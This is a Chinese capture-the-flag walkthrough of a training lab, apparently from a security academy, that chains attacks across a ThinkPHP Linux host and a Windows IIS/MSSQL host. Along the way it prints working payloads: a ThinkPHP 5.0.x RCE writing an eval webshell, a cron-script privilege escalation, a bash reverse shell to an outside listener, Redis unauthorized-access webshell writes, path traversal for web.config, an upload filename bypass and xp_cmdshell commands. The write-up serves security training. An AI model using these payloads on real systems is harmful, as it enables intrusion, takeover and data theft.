点击上方蓝字关注我们
学习有境界,能力划段位,今天为大家带来自制靶机WriteUp三大段位之白银段位靶场设置,大家一起来看~~~
目录
白银靶场
给定IP
172.30.10.97考察知识点:
thinkphp RCE提权内网渗透暴力破解redis未授权信息收集
端口扫描
利用nmap扫描端口
发现目标开放了18080和22端口
访问18080端口
发现为403,尝试扫目录
可以看到存在public目录,大胆猜测为thinkphp,访问public目录
thinkPHP网站,RCE一把梭
获取权限
首先可以看到版本为V5,利用报错页面查看具体版本
V5.0.15
执行命令Payload::18080//public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamiphpinfo:18080/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1写webshell:18080//public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[c]);?>" > shell.php会在pub目录下生成shell.php,菜刀连接
在服务器根目录看到flag1
flag1
flag{f07f9c6d597ffaa3afe}
权限提升
apache权限为www-data
使用ps -aux查看进程
root权限执行了根目录的start.sh
start.sh为一个循环,每60s执行/var/www/下的clear.sh文件,但start.sh没有权限修改
查看/var/www/clear.sh
#clear.shrm -rf /var/www/html/uploads/*clear.sh作用为定时清理uploads目录下的文件
可以看到clear.sh文件权限为777,我们尝试在clear.sh中追加root命令
查找flag
find . -name flag* > /tmp/find.log60s后在tmp目录下看到find.log文件
可以看到在/root目录下存在flag2
继续使用刚才方法获取flag2
cat /root/flag2 >/tmp/flag2flag2
flag{1027d18c8215cedaa4e17ceef}
内网渗透
探测发现另一网段
使用刚刚的clear.sh反弹一个shell
rm -rf /var/www/html/uploads/*bash -i >& /dev/tcp/1**.***.***.***/7777 0>&1其中1**.***.***.***为公网服务器IP
公网服务器监听:nc -lvnp 7777
成功获取shell
使用如下命令进行内网探测
for k in $( seq 1 255);do ping -c 1 192.168.45.$k|grep "ttl"|awk -F "[ :]+" {print $4}; done成功扫描出4个存活IP
192.168.45.10
192.168.45.12
192.168.45.16
192.168.45.19
其中192.168.45.12为当前靶机IP,经过测试,192.168.45.10为网关IP,所以存活主机为16和19
192.168.45.16端口扫描进行扫描端口,上传php大马至thinkphp靶机
发现开放80和6379端口
设置代理使用reGeorg+Proxifier进行代理
将tunnel.nosocket.php上传至靶机
访问成功
本地运行
python3 reGeorgSocksProxy.py -p 9999 -u :18080/public/tunnel.nosocket.phpProxifier配置
将chrome添加至规则
谷歌浏览器成功代理
redis未授权尝试访问192.168.45.1680端口
发现为一个PHPinfo页面,尝试扫描目录没有任何结果,所以尝试6379端口,测试是否存在redis未授权漏洞
添加redis-cli至Proxifier至规则中
终端运行redis-cli -h 192.168.45.16
成功连接,通过刚才的phpinfo页面我们知道当前80端口Web根目录为/var/www/html
尝试使用redis未授权漏洞getshell
payload如下:
192.168.45.16:6379> config set dir /var/www/htmlOK(0.87s)192.168.45.16:6379> set shell "<?php eval($_POST[c])?>"OK192.168.45.16:6379> config set dbfilename webshell.phpOK192.168.45.16:6379> saveOK192.168.45.16:6379>成功写入
将蚁剑加入Proxifier至规则中
成功getshell
在/var/www下发现flag3
flag3flag{71816fcacbef5faa7b506e1}
192.168.45.19信息收集经过端口扫描发现192.168.45.19发现开放1433和27384端口
27384端口运行着一个web服务
继续代理访问,发现为403
Windows server+IIS
发现存在robots.txt
flag4Default.aspx为一个登陆页面
访问/admin/file_down.aspx出现报错
根据报错信息猜测存在任意文件下载,参数为file,因网站为aspx+IIS,尝试下载网站配置文件web.config
Payload:
:27384/admin/file_down.aspx?file=../../web.config发现数据库密码,上边端口扫描看到1433端口对外开放,navicat连接(需要将navicat加入至Proxifier至规则中)
数据库中找到后台账号密码:admin/GoodLuck2018
登陆后台发现flag4
flag{e7a707fca28bc3ec7f59d0d5b2ce3e23}
获取权限后台存在文件上传
仅允许图片文件
上传后在原文件名前加入了一串数字,我们尝试加长文件名将.jpg挤出去
蚁剑连接成功getshell
Web根目录看到flag5
flag5flag{40ac7496e9bc368bdb7d94e1f543dc95}
权限提升当前主机开放了1433端口
Web根目录还有一个web.config.
看到sa账户的密码,尝试xp_cmdshell提权
查看是否开启xp_cmdshell,如未开启,则执行
exec sp_configure show advanced options, 1;reconfigure;exec sp_configure xp_cmdshell,1;reconfigure;接下来执行命令可执行系统命令
利用dir命令在桌面看到flag6
exec master..xp_cmdshell dir "C:/Documents and Settings\Administrator\桌面";利用type命令打印flag
exec master..xp_cmdshell type "C:/Documents and Settings\Administrator\桌面\flag6.txt";flag6flag{27a17252d0fc27bfb}
长按识别关注
扫描二维码
四叶草网络安全学院